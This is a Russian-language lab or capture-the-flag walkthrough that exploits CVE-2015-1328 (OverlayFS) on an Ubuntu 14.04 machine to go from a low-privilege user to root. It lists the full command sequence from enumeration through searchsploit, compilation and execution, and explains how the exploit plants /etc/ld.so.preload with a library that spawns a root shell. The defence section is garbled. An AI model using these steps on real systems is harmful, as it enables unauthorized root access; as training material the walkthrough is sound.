
Пошаговое руководство по эксплуатации CVE-2015-1328 (OverlayFS) для повышения привилегий от пользователя с низкими привилегиями до root на Ubuntu 14.04. Включает перечисление, компиляцию эксплойта и его выполнение.
Цель этого прохождения — повысить привилегии от пользователя с низким уровнем доступа (karen) до root путём эксплуатации уязвимого ядра Linux.
После подключения к целевой машине по SSH:
ssh karen@<target-ip>
Я определил версию ядра Linux:
uname -r
Вывод:
3.13.0-24-generic
Машина работала под управлением Ubuntu 14.04 с ядром 3.13.0-24-generic.
Поскольку повышение привилегий в Linux часто опирается на уязвимые ядра, я выполнил поиск по Exploit-DB с помощью SearchSploit:
searchsploit overlayfs ubuntu 3.13
Результат:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
Этот эксплойт нацелен на CVE-2015-1328, которая затрагивает ядра Ubuntu до выхода исправленных версий.
Прежде чем запускать какой-либо эксплойт, важно понимать, что он делает.
Эксплойт использует ошибку в OverlayFS — объединённой файловой системе Linux.
Уязвимость существует потому, что OverlayFS некорректно обрабатывает права доступа к файлам при монтировании внутри пространства имён пользователя (CLONE_NEWUSER).
Непривилегированный пользователь может манипулировать OverlayFS, чтобы создавать или изменять файлы, которые должны быть доступны для записи только root.
В конечном счёте эксплойт записывает данные в:
/etc/ld.so.preload
Этот файл указывает динамическому загрузчику Linux загружать разделяемую библиотеку перед каждым динамически компонуемым исполняемым файлом.
Принуждая систему загрузить вредоносную разделяемую библиотеку, эксплойт получает возможность выполнять код с правами root.
С помощью SearchSploit:
searchsploit -m 37292
Эта команда скопировала эксплойт локально:
37292.c
Затем эксплойт был передан на машину-жертву.
В этом прохождении он был сохранён как:
/tmp/ofs.c
Перейдите в каталог, содержащий эксплойт:
cd /tmp
Скомпилируйте его с помощью GCC:
gcc ofs.c -o ofs
Если компиляция прошла успешно, GCC не выводит никаких сообщений.
Убедитесь, что исполняемый файл существует:
ls -l
Ожидаемый результат:
-rwxr-xr-x ... ofs
Запустите исполняемый файл:
./ofs
Эксплойт выводит сообщения, похожие на следующие:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
В конце он запускает оболочку root:
#
Проверьте привилегии:
id
Вывод:
uid=0(root) gid=0(root)
Получив привилегии root:
cat /home/matt/flag1.txt
Теперь файл можно было успешно прочитать.
Эксплойт внутренне выполняет несколько действий.
unshare(CLONE_NEWUSER);
Пространства имён пользователя Linux позволяют непривилегированному процессу выглядеть как root внутри пространства имён, не обладая правами root на хосте.
Эта возможность необходима для атаки.
clone(... CLONE_NEWNS ...)
Отдельное пространство имён монтирования изолирует изменения файловой системы от остальной операционной системы.
Это позволяет эксплойту монтировать OverlayFS, не затрагивая глобальную файловую систему.
Эксплойт создаёт временные каталоги:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
Затем он монтирует OverlayFS:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
Из-за уязвимости ядра OverlayFS некорректно разрешает операции, которые должны требовать прав root.
/etc/ld.so.preloadЭксплойт переименовывает доступный для записи файл внутри точки монтирования OverlayFS в:
ld.so.preload
После повторного монтирования OverlayFS поверх /etc этот файл становится:
/etc/ld.so.preload
В обычных условиях создавать этот файл может только root.
Эксплойт записывает исходный файл на C:
/tmp/ofs-lib.c
Затем компилирует его:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
Полученная разделяемая библиотека переопределяет функцию getuid().
Эксплойт записывает:
/tmp/ofs-lib.so
в:
/etc/ld.so.preload
Теперь каждый динамически компонуемый исполняемый файл загружает эту вредоносную библиотеку перед любой системной библиотекой.
/bin/suНаконец:
execl("/bin/su", "su", NULL);
Когда запускается su, вместо оригинальной выполняется вредоносная функция getuid().
Библиотека:
/etc/ld.so.preloadsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
В результате получается интерактивная оболочка root.
Уязвимость вызвана некорректной обработкой прав доступа в OverlayFS при использовании внутри пространств имён пользователя.
Непривилегированный пользователь может манипулировать OverlayFS, чтобы создавать привилегированные файлы, например:
/etc/ld.so.preload
Поскольку динамический загрузчик доверяет этому файлу, произвольный код выполняется с правами root.
Эта уязвимость была устранена в обновлённых выпусках ядра Ubuntu.
Стратегии защиты включают:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt